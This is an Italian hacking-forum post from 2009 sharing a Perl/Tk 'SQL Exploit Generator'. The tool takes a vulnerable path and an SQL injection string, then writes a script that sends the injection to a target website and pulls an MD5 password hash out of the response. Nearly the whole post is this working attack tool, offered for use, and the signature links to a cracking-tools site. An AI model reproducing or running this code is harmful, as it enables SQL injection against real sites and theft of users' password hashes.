admin
Founder
Registrato: Oct 03, 2008
Messaggi: 261
|
 Inviato: Lun Mar 30, 2009 6:01 pm Oggetto: Sql Exploit Generator |
 |
|
| Codice: | #!/usr/bin/perl
sub Exploit::Generate {
$exploit = "#!/usr/bin/perl\n".
"use LWP::Simple\;\n\n".
"sub use() {\n".
"print\"usage: perl exploit.pl [sito]\"\;\n".
"exit()\;\n".
"}\n\n".
"\$url = \$ARGV\[0\] \|\| \&use\;\n".
"\$sql = \"$pat\".\"$sql\"\;\n".
"\$sql = \"\$url.\$sql\"\;\n".
"\$go = get(\$sql)\;\n".
"\if (\$go =~ m\/([a-f0-9]{32})\/i) {\n".
"print \"md5 password: \${1}\\n\"\;\n".
"} else {\n".
"print \"Not Vulnerable\\n\"\;\n".
"}";
open FILE, ">>", "exploit.pl";
print FILE $exploit;
close FILE;
}
use Tk;
$mw = MainWindow->new(-title=>'Exploit Generator',-background=>'black');
$mw -> Label(-text=>"Insert Path and Vulnerable Varible: ",
-background=>'black',
-foreground=>'red')->pack;
$mw->Entry(-textvariable=>\$pat)
->pack(-anchor=>'s');
$mw -> Label(-text=>"Inser SQL Injection: ",
-background=>'black',
-foreground=>'red')->pack;
$mw->Entry(-textvariable=>\$sql)
->pack(-anchor=>'s');
$mw->Button(-text=>'Generate!!!',
-background=>'black',
-foreground=>'red',
-activebackground=>'black',
-activeforeground=>'green',
-command=>sub{
Exploit->Generate;
})->pack(-anchor=>'s');
MainLoop; |
Script By Key
_________________
D3vil-C0de Crew => http://d3vilc0de.org
My Spaces => http://kinginfet.135.it
My Tool Cracker => http://totalcracker.135.it
My Dj Site => http://djkinginfet.135.it |
|
FAQ
Cerca
Lista degli utenti
Gruppi utenti
Profilo
Messaggi Privati
Login
